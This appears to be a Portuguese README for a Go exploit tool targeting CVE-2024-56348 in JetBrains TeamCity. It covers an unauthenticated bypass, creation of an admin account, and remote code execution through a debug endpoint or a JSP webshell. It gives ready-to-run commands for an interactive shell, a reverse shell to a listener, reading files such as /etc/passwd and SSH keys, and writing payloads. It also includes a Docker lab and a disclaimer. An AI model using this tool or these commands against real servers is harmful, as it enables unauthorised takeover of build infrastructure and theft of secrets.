Exploit baseado em Go para CVE-2024-56348 que visa a bypass de autenticação e execução remota de código no JetBrains TeamCity. Oferece shell interativo, reverse shell, leitura/gravação de arquivos e execução de comandos individuais sem credenciais.
CVE-2024-56348 é uma vulnerabilidade crítica de bypass de autenticação no JetBrains TeamCity on-premises que afeta todas as versões anteriores à 2024.12. A API REST lida incorretamente com requisições para caminhos contendo ;.jsp, permitindo que um atacante não autenticado invoque qualquer endpoint REST como se estivesse totalmente autenticado.
Este exploit combina o bypass com a própria API REST do TeamCity para criar uma conta SYSTEM_ADMIN, gerar um token de API e obter execução remota de código completa — seja através do endpoint de debug embutido ou de um webshell de plugin JSP carregado dinamicamente. Nenhuma credencial é necessária.
Versões afetadas: JetBrains TeamCity on-premises < 2024.12
-command com saída completa de stdout, stderr e código de saídagit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t URL alvo (ex: http://127.0.0.1:8111)
-command Executa um único comando e imprime a saída
-shell Gera um shell reverso (requer -lhost e -lport)
-lhost Host do listener para o shell reverso
-lport Porta do listener para o shell reverso
-read-file Lê um arquivo remoto e imprime seu conteúdo
-write-file Caminho remoto para escrever (requer -file-content)
-file-content Conteúdo a ser escrito ao usar -write-file
A ausência de flags de ação entra automaticamente em um shell interativo.
Conecta ao alvo, confirma o bypass, cria uma conta de administrador temporária e entra em um shell interativo. O prompt mostra o código de saída do último comando em verde (sucesso) ou vermelho (diferente de zero).
./cve-2024-56348 -t http://127.0.0.1:8111

Executa um comando e imprime stdout, stderr e código de saída separadamente.
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

Implanta o webshell de plugin JSP e aciona um shell reverso de volta para o seu listener. Inicie nc -lvp 4444 primeiro.
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

Lê qualquer arquivo que o processo TeamCity possa acessar — útil para arquivos de configuração, chaves SSH, etc.
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

Escreve conteúdo arbitrário em um caminho remoto. Útil para soltar cargas adicionais ou modificar configurações.
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

Um ambiente Docker Compose autocontido com uma instância vulnerável do TeamCity para testes locais. Veja DOCKER.md para mais detalhes
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
Se o script retornar "[-] Plugin upload failed." tente fazer login com o usuário hackindex e tente novamente. (as credenciais podem ser encontradas em DOCKER.md)
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.